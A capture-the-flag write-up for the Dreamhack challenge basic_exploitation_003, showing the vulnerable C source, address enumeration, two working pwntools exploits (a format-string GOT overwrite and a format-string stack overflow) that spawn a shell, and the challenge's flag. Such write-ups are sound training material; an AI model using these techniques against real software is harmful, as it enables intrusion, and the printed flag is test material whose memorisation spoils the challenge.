basic_exploitation_003
Enumeration
System information is as follows.
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Source code reveals a simple program which reads from the standard input, copies it to a local variable and then print it to the standard output.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ cat basic_exploitation_003.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
Exploitation
Format String
Since the program uses the given input directly with sprintf
, I’ll be able to use a format string attack.
To gain a shell, I’ll find the address of get_shell
. Next, I’ll find the address of printf
which I’ll overwrite with the address of get_shell
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ nm basic_exploitation_003 | grep get_shell
08048669 T get_shell
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ objdump -d basic_exploitation_003 -j .plt
basic_exploitation_003: file format elf32-i386
Disassembly of section .plt:
08048440 <.plt>:
8048440: ff 35 04 a0 04 08 push 0x804a004
8048446: ff 25 08 a0 04 08 jmp *0x804a008
804844c: 00 00 add %al,(%eax)
...
08048450 <read@plt>:
8048450: ff 25 0c a0 04 08 jmp *0x804a00c
8048456: 68 00 00 00 00 push $0x0
804845b: e9 e0 ff ff ff jmp 8048440 <.plt>
08048460 <printf@plt>:
8048460: ff 25 10 a0 04 08 jmp *0x804a010
8048466: 68 08 00 00 00 push $0x8
804846b: e9 d0 ff ff ff jmp 8048440 <.plt>
08048470 <signal@plt>:
8048470: ff 25 14 a0 04 08 jmp *0x804a014
8048476: 68 10 00 00 00 push $0x10
804847b: e9 c0 ff ff ff jmp 8048440 <.plt>
08048480 <alarm@plt>:
8048480: ff 25 18 a0 04 08 jmp *0x804a018
8048486: 68 18 00 00 00 push $0x18
804848b: e9 b0 ff ff ff jmp 8048440 <.plt>
08048490 <malloc@plt>:
8048490: ff 25 1c a0 04 08 jmp *0x804a01c
8048496: 68 20 00 00 00 push $0x20
804849b: e9 a0 ff ff ff jmp 8048440 <.plt>
080484a0 <puts@plt>:
80484a0: ff 25 20 a0 04 08 jmp *0x804a020
80484a6: 68 28 00 00 00 push $0x28
80484ab: e9 90 ff ff ff jmp 8048440 <.plt>
080484b0 <system@plt>:
80484b0: ff 25 24 a0 04 08 jmp *0x804a024
80484b6: 68 30 00 00 00 push $0x30
80484bb: e9 80 ff ff ff jmp 8048440 <.plt>
080484c0 <exit@plt>:
80484c0: ff 25 28 a0 04 08 jmp *0x804a028
80484c6: 68 38 00 00 00 push $0x38
80484cb: e9 70 ff ff ff jmp 8048440 <.plt>
080484d0 <__libc_start_main@plt>:
80484d0: ff 25 2c a0 04 08 jmp *0x804a02c
80484d6: 68 40 00 00 00 push $0x40
80484db: e9 60 ff ff ff jmp 8048440 <.plt>
080484e0 <setvbuf@plt>:
80484e0: ff 25 30 a0 04 08 jmp *0x804a030
80484e6: 68 48 00 00 00 push $0x48
80484eb: e9 50 ff ff ff jmp 8048440 <.plt>
080484f0 <sprintf@plt>:
80484f0: ff 25 34 a0 04 08 jmp *0x804a034
80484f6: 68 50 00 00 00 push $0x50
80484fb: e9 40 ff ff ff jmp 8048440 <.plt>
Using the information found, I’ll write an exploit which will lend me a shell once executed.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ cat exploit.py
import sys
from pwn import *
payload= p32(0x0804a010)+p32(0x0804a011)
# *0x0804a010= 0x08048466
fsb= "%1${}c%1$hhn".format(0x69-len(payload)) # *0x0804a010= 0x08048469
fsb+= "%2${}c%2$hhn".format(0x86-0x69) # *0x0804a010= 0x08048669
client= remote(sys.argv[1], int(sys.argv[2]))
client.sendline(payload+fsb)
client.interactive()
By running the exploit, I’m able to gain a shell as the user basic_exploitation_003
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ python2 exploit.py host1.dreamhack.games 9616
[+] Opening connection to host1.dreamhack.games on port 9616: Done
[*] Switching to interactive mode
$ id
uid=1000(basic_exploitation_003) gid=1000(basic_exploitation_003) groups=1000(basic_exploitation_003)
Buffer Overflow
Otherwise, we can use format string attack to cause a buffer overflow. To test this vulnerability, I’ll create a payload of the lenght 8, which will be converted to a string of 160 bytes when interpreted as a format string.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ perl -e 'print "%156c" . "\xef\xbe\xad\xde"' > input
By inputting the payload via gdb
, I’m able to prove that we can indeed overwrite the RET with any bytes of our choice.
gdb-peda$ r < input
Starting program: /home/m0nk3y/DH/basic_exploitation_003/basic_exploitation_003 < input
ECHO : ᆳ�
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xa8
EDX: 0xffffffff
ESI: 0x1
EDI: 0x20202020 (' ')
EBP: 0x20202020 (' ')
ESP: 0xffffd0f0 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffffd0f0 --> 0x0
0004| 0xffffd0f4 --> 0xffffd194 --> 0xffffd332 ("/home/m0nk3y/DH/basic_exploitation_003/basic_exploitation_003")
0008| 0xffffd0f8 --> 0xffffd19c --> 0xffffd377 ("SHELL=/bin/bash")
0012| 0xffffd0fc --> 0xffffd124 --> 0x0
0016| 0xffffd100 --> 0xffffd134 --> 0x9f48ac1f
0020| 0xffffd104 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
0024| 0xffffd108 --> 0xf7fc3420 --> 0x804835a ("GLIBC_2.0")
0028| 0xffffd10c --> 0xf7fa7000 --> 0x1ead6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()
Using the information found, I’ll write an exploit which will lend me a shell once executed.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ cat exploit.py
import sys
from pwn import *
fsb= "%156c"
eip= p32(0x08048669)
client= remote(sys.argv[1], int(sys.argv[2]))
client.sendline(fsb+eip)
client.interactive()
By running the exploit, I’m able to gain a shell as the user basic_exploitation_003
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ python2 exploit.py host1.dreamhack.games 9616
[+] Opening connection to host1.dreamhack.games on port 9616: Done
[*] Switching to interactive mode
ECHO : i\x86\x04
$ id
uid=1000(basic_exploitation_003) gid=1000(basic_exploitation_003) groups=1000(basic_exploitation_003)
Post Exploitation
With the shell acquired, I’m able to read the flag.
$ cat flag
DH{4e6e355c62249b2da3b566f0d575007e}